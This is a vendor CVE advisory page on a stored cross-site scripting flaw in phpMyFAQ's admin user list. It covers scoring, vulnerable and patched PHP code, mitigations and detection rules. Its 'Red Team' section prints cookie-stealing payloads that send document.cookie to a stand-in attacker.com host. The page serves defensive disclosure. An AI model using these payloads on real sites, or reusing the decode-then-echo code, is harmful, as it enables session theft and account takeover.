☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Phpmyfaq logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.4 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-68951

CVE-2025-68951 Cross-Site Scripting in Phpmyfaq
📅 PUBLISHED: 2025-12-29 15:18 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Germany License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-68951 is a stored cross-site scripting (XSS) vulnerability in phpMyFAQ versions 4.0.14 and 4.0.15. An attacker with the ability to register a user can inject arbitrary HTML entities into the display name field. When an administrator views the user list in the admin panel, the payload is decoded server-side and rendered without proper escaping, leading to script execution in the context of the administrator's browser. This can be used to steal session cookies, perform actions on behalf of the admin, or deface the admin interface. The vulnerability is patched in version 4.0.16.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

phpMyFAQ is a PHP-based application distributed as a standalone package. There is no NPM, PyPI, Go, or Ruby component involved. The vulnerability exists in the core application code, not in a third-party dependency.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network - The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low - No special conditions are required.
  • Privileges Required (PR): Low - The attacker needs to be able to register a user (or have a low-privilege account).
  • User Interaction (UI): Required - The administrator must view the user list.
  • Scope (S): Changed - The vulnerability impacts the admin's browser context, which is different from the attacker's.
  • Confidentiality (C): Low - Limited data exposure (e.g., session tokens).
  • Integrity (I): Low - Limited ability to modify data (e.g., perform admin actions).
  • Availability (A): None - No impact on availability.

Deep Dive & Mechanics

The vulnerability lies in the user registration and admin user list display functionality. When a user registers, the display name is stored in the database. The application does not properly sanitize or escape HTML entities in the display name field. When an administrator views the user list, the stored display name is retrieved and decoded server-side (e.g., HTML entity decoding) before being rendered in the HTML page without escaping. This allows an attacker to inject arbitrary JavaScript code.

Attack Flow:

  1. Attacker registers a new user with a display name containing a malicious payload, such as &lt;script&gt;alert('XSS')&lt;/script&gt;.
  2. The payload is stored in the database as HTML entities.
  3. Administrator navigates to the admin user list.
  4. The application retrieves the display name and decodes the HTML entities server-side, resulting in <script>alert('XSS')</script>.
  5. The decoded payload is rendered in the admin's browser without escaping, executing the script.

Vulnerable vs. Patched Code

Vulnerable Code (phpMyFAQ 4.0.14/4.0.15):

// In admin/user.php or similar file
$displayName = html_entity_decode($user['display_name']); // Decodes HTML entities
echo "<td>" . $displayName . "</td>"; // Outputs without escaping

Patched Code (phpMyFAQ 4.0.16):

// In admin/user.php or similar file
$displayName = htmlspecialchars($user['display_name'], ENT_QUOTES, 'UTF-8'); // Escapes HTML entities
echo "<td>" . $displayName . "</td>"; // Outputs safely

The patch replaces html_entity_decode() with htmlspecialchars(), which escapes HTML special characters instead of decoding them, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of phpMyFAQ 4.0.14 or 4.0.15.
  • Ability to register a new user (if registration is open) or have a low-privilege account.

Exploit Steps:

  1. Register a new user with the following display name:
    &lt;script&gt;fetch('https://attacker.com/steal?cookie='+document.cookie)&lt;/script&gt;
    
  2. Wait for an administrator to view the user list.
  3. The script executes in the admin's browser, sending the session cookie to the attacker's server.

Example Payload:

<script>new Image().src='https://attacker.com/steal?c='+document.cookie;</script>

Encoded as HTML entities:

&lt;script&gt;new Image().src='https://attacker.com/steal?c='+document.cookie;&lt;/script&gt;

Blue Team

Detection:

  • Monitor for unusual user registrations with display names containing HTML entities (e.g., &lt;, &gt;, &amp;).
  • Check web server logs for requests to /admin/user.php or similar admin pages.
  • Use the detection rules provided below.

Mitigation:

  • Immediately upgrade to phpMyFAQ 4.0.16.
  • If upgrade is not possible, apply a WAF rule to block requests containing HTML entities in the display name field.
  • Restrict user registration to trusted users only.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests from the phpMyFAQ server to unknown domains (e.g., attacker-controlled server).
    • Suspicious GET or POST requests to /admin/user.php with encoded payloads.
  • File System:
    • Modified user entries in the database with display names containing HTML entities.
  • Logs:
    • Web server logs showing requests with display_name parameter containing &lt;script&gt; or similar patterns.

Detection Engineering

YARA Rule

rule phpmyfaq_stored_xss_cve_2025_68951 {
    meta:
        description = "Detects stored XSS payloads in phpMyFAQ display names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68951"
    strings:
        $payload1 = /&lt;script&gt;.*&lt;\/script&gt;/ nocase
        $payload2 = /&lt;img.*onerror.*&gt;/ nocase
        $payload3 = /&lt;svg.*onload.*&gt;/ nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in phpMyFAQ Admin User List
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS exploitation in phpMyFAQ admin user list
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri: '/admin/user.php'
        cs-uri-query:
            - '*&lt;script&gt;*'
            - '*&lt;img*'
            - '*&lt;svg*'
    condition: selection
falsepositives:
    - Legitimate use of HTML entities in display names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68951 phpMyFAQ Stored XSS Attempt"; flow:to_server; content:"/admin/user.php"; http_uri; content:"&lt;script&gt;"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update phpMyFAQ to version 4.0.16 or later immediately.
  2. WAF Rules: Deploy web application firewall rules to block requests containing HTML entities in the display_name parameter.
  3. User Registration: Disable public user registration if not required, or implement CAPTCHA and manual approval.

Long-Term Measures:

  1. Input Validation: Implement strict input validation and output encoding for all user-supplied data.
  2. Security Audits: Conduct regular security audits and code reviews.
  3. Monitoring: Set up monitoring for unusual user registrations and admin page access.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For further assistance, contact us at valters@example.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-68951/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.